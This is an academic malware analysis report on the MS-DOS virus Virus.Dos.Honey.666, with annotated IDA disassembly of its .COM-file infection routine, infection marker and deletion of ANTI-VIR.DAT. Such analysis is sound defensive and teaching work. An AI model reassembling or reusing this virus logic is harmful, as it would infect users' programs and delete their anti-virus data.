# Virus.Dos.Honey.666 Report

Feng Zhu (fzhu001@fiu.edu), Jinpeng Wei (weijp@cs.fiu.edu)

## 1 Malware General Information

Malware Name: Virus.Dos.Honey.666 named by Kaspersky

File size: 1698 bytes

File type: MS-DOS executable

MD5: 1188e068971689f9c74ae960bc06640b

## 2 Behavior Analysis

When executed, the malware, or the .COM file infected by this malware will try to infect .COM file in the current directory with certain conditions: (1) the first bytes of the .COM file is E9; (2) the .COM file has not been infected yet. The first .COM file that matches these two conditions will be infected. The malware code will be appended at the end of the target .COM file. The control flow of the target .COM file is also modified so that when it is executed, the malware code will run first before its original code. As a result, the infected .COM is 666 bytes longer than before and ends with the byte sequence 0x54, 0x53 as a flag that means this file is infected by the malware. If the infection is successful, "Honey, I'm home . . ." , "Earl Sinclair" and "Hello - This is a 1000 COM test file, 1993" are displayed in the screen and the file ANTI-VIR.DAT(if exists) in the current directory is deleted. Otherwise, only "Hello - This is a 1000 COM test file, 1993" is displayed in the screen.

## 3 Assembly Code Analysis

To better understand how the infection happens, we use IDA disassembler to analyze the malware code. We follow the control flow that leads to a successful infection. A general control flow is: loc_10507 tries to find one .COM file in the current directory. If found, loc_10553 opens the file, get the length of the file and checks whether the file is already infected (if infected, come back to loc_10507 to find next .COM file). loc_10595 appends the malware to the end of the file and calls sub_10674 to delete ANTI-VIR.DAT. After that, jump to seg000:04DF to terminate.

The more details are demonstrated below:

```
seg000:04DF          mov    ah, 9
seg000:04E1          mov    dx, 103h
seg000:04E4          int    21h                    ; DOS - PRINT STRING
seg000:04E4                                        ; [103] stores “Hello - This is a 1000 COM test file, 1993” and it is displayed on screen
seg000:04E6          int    20h                    ; Program terminate

The entry point:
seg000:04E8 loc_103E8:                  ; CODE XREF: startj
seg000:04E8          jmp    $+3
seg000:04EB          call   $+3
seg000:04EE          pop    si                     ; si=4EE
seg000:04EF          sub    si, 106h               ; si=4EE-106=3E8
seg000:04F3          mov    ax, [si+13Eh]          ; si+13E=526, 04DF->ax
seg000:04F7          mov    [si+142h] ,ax          ; si+142=52A, 04->[52B], DF->[52A]
seg000:04FB          jmp    loc_104EB
```

```
seg000:05EB loc_104EB:                  ; CODE XREF: start+3FBj
seg000:05EB             mov     bx, si                  ; 3E8->bx
seg000:05ED             push    si                      ; 3E8 at the top of the stack
seg000:05EE             mov     dl, 0
seg000:05F0             mov     si, 1C3h                ; 1C3->si
seg000:05F3             add     si, bx                  ; 3E8+1C3=5AB->si
seg000:05F5             mov     ah, 47h
seg000:05F7             int     21h                     ; DOS - 2+ - GET CURRENT DIRECTORY[2]
seg000:05F7                                             ; DL = drive (0=default, 1=A, etc.)
seg000:05F7                                             ; DS:SI points to 64-byte buffer area
seg000:05F7                                             ; the path of the current directory stores in the buffer area [5AB]
seg000:05F9             pop     si                      ; 3E8->si
seg000:05FA             call    sub_1065A

seg000:075A sub_1065A   proc near           ; CODE XREF: start+4FAp
seg000:075A             mov     dx, 120h
seg000:075D             add     dx, si                  ; 3E8+120=508->dx
seg000:075F             mov     cx, 0FFh
seg000:0762             mov     ah, 4Eh
seg000:0764             int     21h                     ;  FIND FIRST MATCHING FILE [3]
seg000:0764                                             ; CX = search attributes
seg000:0764                                             ; DS:DX -> ASCIZ filespec
seg000:0764                                             ; (drive, path, and wildcards allowed)
seg000:0764                                             ; [508] stores " C:\"
seg000:0766             jb      short locret_10659      ; jump if FIND FIRST fails (because cf = 1 in that case [1])
……
seg000:0759 locret_10659:                               ; CODE XREF: sub_1065A+Cj
seg000:0759             retn                            ; here return to seg000:05FD--the instruction after seg000:05FA

seg000:05FD loc_104FD:                  ; CODE XREF: start+534j
seg000:05FD                             ; start+541j
seg000:05FD             mov     dx, 11Ah
seg000:0600             add     dx, si                  ; 3E8+11A=502->dx
seg000:0602             mov     cx, 3
seg000:0605             mov     ah, 4Eh

seg000:0607 loc_10507:                  ; CODE XREF: start+58Ej
seg000:0607             int     21h                     ; FIND FIRST MATCHING FILE
seg000:0607                                             ; CX = search attributes
seg000:0607                                             ; DS:DX -> ASCIZ filespec
seg000:0607                                             ; (drive, path, and wildcards allowed)
seg000:0607                                             ; DS:DX is [502], where stores a string "*.COM". So here try to find .COM file.
seg000:0609             jb      short loc_1050E         ; If success, CF=0, do not jump. Here we assume one .COM file is found. So CF=0.
seg000:060B             jmp     loc_10553

seg000:0653 loc_10553:                  ; CODE XREF: start+50Bj
seg000:0653             mov     ax, 3D02h
seg000:0656             mov     dx, 9Eh ; 'P'
seg000:0659             int     21h                     ; DOS - 2+ - OPEN DISK FILE WITH HANDLE  [3]
seg000:0659                                             ; DS:DX -> ASCIZ filename (it seems to be the .com file name)
seg000:0659                                             ; AL = access mode
seg000:0659                                             ; 2 - read & write
seg000:0659                                             ; open the .com file just found and store the file handle in ax
seg000:065B             mov     [si+13Bh], ax           ; 3E8+13B=523 , file handle -> [523]
seg000:065F             mov     bx, [si+13Bh]           ; file handle->bx
seg000:0663             mov     dx, 13Dh
seg000:0666             add     dx, si                  ; 3E8+13D=525->dx
seg000:0668             mov     cx, 1
seg000:066B             mov     ah, 3Fh
seg000:066D             int     21h                     ; DOS - 2+ - READ FROM FILE WITH HANDLE  [3]
seg000:066D                                             ; BX = file handle, CX = number of bytes to read
seg000:066D                                             ; DS:DX -> buffer
seg000:066D                                             ; the first byte of the .COM file is read and stored in [525]
seg000:066F             mov     bx, [si+13Bh]           ; [3EB+13B]=[523], file handle->bx
seg000:0673             mov     dx, 13Eh
seg000:0676             add     dx, si                  ; 3EB+13E=526->dx
```

```
seg000:0678          mov    cx, 2
seg000:067B          mov    ah, 3Fh
seg000:067D          int    21h                     ; DOS - 2+ - READ FROM FILE WITH HANDLE
seg000:067D                                         ; BX = file handle, CX = number of bytes to read
seg000:067D                                         ; DS:DX -> buffer
seg000:067D                                         ; the second and third bytes of the .COM file are read and stored in [526] and [527]
seg000:067F          add    word ptr [si+13Eh], 103h ; si+13Eh=526, if the first byte of the .COM file is E9, it means that the first instruction of
seg000:067F                                         ; the .COM is a “near and relative jump” [4]. In that case, the second and third bytes are
seg000:067F                                         ; the operand that represents the displacement of the jump target relative to the
seg000:067F                                         ; instruction following the first instruction. Because the jump instruction is 3 bytes long
seg000:067F                                         ; and the absolute address of the first instruction of a .COM file is 100h, the addition of
seg000:067F                                         ; 103h to the displacement stored in [si+13Eh] converts it into the absolute address of
seg000:067F                                         ; the jump target, which will be used to transfer control from the malware code to the
seg000:067F                                         ; original code of the infected file when executed.
seg000:067F                                         ; Since the malware code is appended to the original file,
seg000:067F                                         ; when the infected file is executed, in loc_103E8,
seg000:067F                                         ; by instructions currently at seg000:04F3 and seg000:04F37,
seg000:067F                                         ; the address of the entry point of the original code of the infected file will be stored to
seg000:067F                                         ; [si+142]. The instructions currently at seg000:064D and seg000:0651 will jump back to
seg000:067F                                         ; [si+142] when the malware code in the infected file finishes execution.
seg000:0685          cmp    byte ptr [si+13Dh], 0E9h ;si+13Dh=525, [525] stores the first byte, so here compare whether the first byte is E9
seg000:068A          jz     short loc_10595          ; jump when ZF=1. If the first byte is E9, jump. As we mentioned in Section2 ,
seg000:068A                                         ; if the first bytes of the .COM file is E9, the malware will try to infect it.
seg000:068C          mov    ah, 4Fh                  ; DOS -2+ - FIND NEXT MATCHING FILE [3]
seg000:068E          jmp    loc_10507                ; if the first byte is not E9, jump back to find the next .COM file


seg000:0695 loc_10595:                              ; CODE XREF: start+58A
seg000:0695          mov    ax, 4202h
seg000:0698          mov    bx, [si+13Bh]            ; file handle->bx
seg000:069C          xor    cx, cx                   ; cx=0
seg000:069E          xor    dx, dx                   ; dx=0
seg000:06A0          int    21h                      ; DOS - 2+ - MOVE FILE READ/WRITE POINTER (LSEEK) [3]
seg000:06A0                                         ; AL = method: offset from end of file
seg000:06A0                                         ; move file pointer to the end
seg000:06A0                                         ; DX:AX stores the length of the file
seg000:06A2          mov    [si+140h], ax            ; [si+140]=[528], ax->[528], now [528] stores the length of the file.
seg000:06A6          sub    word ptr [si+140h], 3    ; [528] stores file length-3
seg000:06AB          mov    [si+144h], ax            ; [si+144]=[52c], ax->[52C]
seg000:06AF          sub    word ptr [si+144h], 2    ; [52C] stores file length-2
seg000:06B4          mov    ax, 4200h
seg000:06B7          mov    bx, [si+13Bh]            ; file handle->bx
seg000:06BB          xor    cx, cx
seg000:06BD          mov    dx, [si+144h]
seg000:06C1          int    21h                      ; DOS - 2+ - MOVE FILE READ/WRITE POINTER (LSEEK)
seg000:06C1                                         ; AL = method: offset from beginning of file
seg000:06C1                                         ; CX:DX = offset from original of new file position
seg000:06C1                                         ; the file pointer is at the second last byte of the file
seg000:06C3          mov    bx, [si+13Bh]            ; file handle->bx
seg000:06C7          mov    dx, 146h
seg000:06CA          add    dx, si                   ; 3E8+146=52E->dx
seg000:06CC          mov    cx, 2
seg000:06CF          mov    ah, 3Fh
seg000:06D1          int    21h                      ; DOS - 2+ - READ FROM FILE WITH HANDLE
seg000:06D1                                         ; BX = file handle, CX = number of bytes to read
seg000:06D1                                         ; DS:DX -> buffer
seg000:06D1                                         ;read the last 2 bytes to [52E]
seg000:06D3          mov    ax, [si+396h]            ; [3E8+396]=[77E], 0x5354 ->ax
seg000:06D7          cmp    [si+146h], ax            ; [3E8+146]=[52E], see whether the last 2 bytes of the file are 0x54 0x53
seg000:06DB          jnz    short loc_105E2          ; jump when ZF=0. If not equal (the last 2 bytes are not 0x54 0x53, ZF=0, jump.
seg000:06DD          call   sub_10651                ; otherwise, the file is infected already, close the file in sub_10651.
seg000:06E0          jmp    short loc_1058C

seg000:06E2 loc_105E2:                              ; CODE XREF: start+5DBj
seg000:06E2          mov    ax, 4200h
seg000:06E5          mov    bx, [si+13Bh]            ; file handle -> bx
```

```
seg000:06E9          xor    cx, cx                  ; cx=0
seg000:06EB          mov    dx, 1
seg000:06EE          int    21h                      ; DOS - 2+ - MOVE FILE READ/WRITE POINTER (LSEEK)
seg000:06EE                                         ; AL = method: offset from beginning of file
seg000:06EE                                         ; the file pointer moves to the second byte of the file
seg000:06F0          mov    bx, [si+13Bh]           ; file handle -> bx
seg000:06F4          mov    dx, 140h
seg000:06F7          add    dx, si                  ; 3E8+140=528->dx
seg000:06F9          mov    cx, 2
seg000:06FC          mov    ah, 40h
seg000:06FE          int    21h                     ; DOS - 2+ - WRITE TO FILE WITH HANDLE [3]
seg000:06FE                                         ; BX = file handle, CX = number of bytes to write, DS:DX -> buffer
seg000:06FE                                         ; DS:DX is [528] which stores file length -3
seg000:06FE                                         ; since the first byte is E9,
seg000:06FE                                         ; now the first three byte is an instruction that jumps to the end of the file,
seg000:06FE                                         ; where the malware code will append soon.
seg000:0700          mov    ax, 4200h
seg000:0703          mov    bx, [si+13Bh]           ; file handle -> bx
seg000:0707          xor    cx, cx                  ; cx=0;
seg000:0709          mov    dx, [si+144h]           ; [si+144]=[52C] where stores file length-2
seg000:070D          add    dx, 2                   ; dx is the file length
seg000:0710          int    21h                     ; DOS - 2+ - MOVE FILE READ/WRITE POINTER (LSEEK)
seg000:0710                                         ; AL = method: offset from beginning of file
seg000:0710                                         ; now the file pointer is at the end of the file.
seg000:0712          mov    bx, [si+13Bh]           ; file handle -> bx
seg000:0716          mov    dx, 100h
seg000:0719          add    dx, si                  ; 3E8+100=4E8 , which is the beginning of the malware code
seg000:071B          mov    cx, 298h                ; 298h=664d,  4E8+298=780
seg000:071E          mov    ah, 40h
seg000:0720          int    21h                     ; DOS - 2+ - WRITE TO FILE WITH HANDLE
seg000:0720                                         ; BX = file handle, CX = number of bytes to write, DS:DX -> buffer
seg000:0720                                         ; 664 bytes of the malware code is appended,
seg000:0720                                         ; which is from the start at offset 4E8 to the first 0x54 0x53 sequence in the end at offset
                                                    ; 780
seg000:0722          mov    ax, 4202h
seg000:0725          mov    bx, [si+13Bh]           ; file handle -> bx
seg000:0729          xor    cx, cx                  ; cx=0
seg000:072B          xor    dx, dx                  ; dx=0
seg000:072D          int    21h                     ; DOS - 2+ - MOVE FILE READ/WRITE POINTER (LSEEK)
seg000:072D                                         ; AL = method: offset from end of file
seg000:072F          mov    bx, [si+13Bh]           ; file handle -> bx
seg000:0733          mov    dx, 396h
seg000:0736          add    dx, si                  ; 3E8+396=77E
seg000:0738          mov    cx, 2
seg000:073B          mov    ah, 40h
seg000:073D          int    21h                     ; DOS - 2+ - WRITE TO FILE WITH HANDLE
seg000:073D                                         ; BX = file handle, CX = number of bytes to write, DS:DX -> buffer
seg000:073D                                         ; [77E] stores 0x54 0x53, which is written at the end of the file.
seg000:073F          call   sub_10651               ; sub_10651 closes the file
seg000:0742          call   sub_10674               ; sub_10674 deletes ANTI-VIR.DAT
seg000:0745          mov    ah, 9
seg000:0747          mov    dx, 148h
seg000:074A          add    dx, si                  ; 3e8+148=530
seg000:074C          int    21h                     ; DOS - PRINT STRING [3]
seg000:074C                                         ; DS:DX -> string terminated by "$"
seg000:074C                                         ; [530] stores string "Honey, I'm home . . .   Earl Sinclair" which is displayed on screen
seg000:074E          jmp    loc_10544
seg000:074E start      endp


seg000:0644 loc_10544:                      ; CODE XREF: start+53Fj
seg000:0644                                 ; start+64Ej ...
seg000:0644          mov    dx, 1C3h
seg000:0647          add    dx, si                  ; 3E8+1c3=5AB
seg000:0649          mov    ah, 3Bh
seg000:064B          int    21h                     ; DOS - 2+ - CHANGE THE CURRENT DIRECTORY (CHDIR)
```

```
seg000:064B                                             ; DS:DX -> ASCIZ directory name (may include drive)
seg000:064B                                             ; [5AB] stores the path of the current directory (see seg000:05F7)
seg000:064D             mov     bp, [si+142h]           ; [52A] gets its value from [526] (or [si+13Eh], see seg000:04F7). [si+13Eh] stores 04DF
seg000:064D                                             ; (by default) or the absolute address of the original code of the infected file, see
seg000:064D                                             ; seg000:067F
seg000:0651             jmp     bp                      ; jmp to seg000:04DF  or the original code of the infected file

seg000:0751 sub_10651       proc near           ; CODE XREF: start+5DDp
seg000:0751                                     ; start+63Fp
seg000:0751             mov     ah, 3Eh ; '>'
seg000:0753             mov     bx, [si+13Bh]           ; file handle -> bx
seg000:0757             int     21h                     ; DOS - 2+ - CLOSE A FILE WITH HANDLE
seg000:0757                                             ; BX = file handle
seg000:0757                                             ; close the opened file
seg000:0759
seg000:0759 locret_10659:                               ; CODE XREF: sub_1065A+Cj
seg000:0759             retn
seg000:0759 sub_10651       endp

seg000:0774 sub_10674       proc near           ; CODE XREF: start+642p
seg000:0774             mov     dx, 127h
seg000:0777             add     dx, si                  ; 3e8+127=50F
seg000:0779             mov     ah, 41h
seg000:077B             int     21h                     ; DOS - 2+ - DELETE A FILE (UNLINK) [3]
seg000:077B                                             ; DS:DX -> ASCIZ pathname of file to delete
seg000:077B                                             ; [50F] stores "ANTI-VIR.DAT", so here try to delete the file ANTI-VIR.DAT
seg000:077D             retn
seg000:077D sub_10674       endp
```

# 4 Conclusion

Since this malware is a MS-DOS executable, it needs NTVDM to run in Windows system.

# 5 References


[1] Marco Corvi. GNU 8086 Assembly tutorial.
http://www.reocities.com/yosemite/4467/games/kernel/asm.txt

[2] Gavin Estey. GAVIN'S GUIDE TO 80x86 ASSEMBLY.
http://www.oocities.org/timessquare/2795/Files/asmtut.txt

[3] BIOS and DOS Interrupts
http://www.csee.umbc.edu/courses/undergraduate/CMSC211/fall01/burt/tech_help/BIOSandDOS_Interrupts.html

[4] Jmp. http://faydoc.tripod.com/cpu/jmp.htm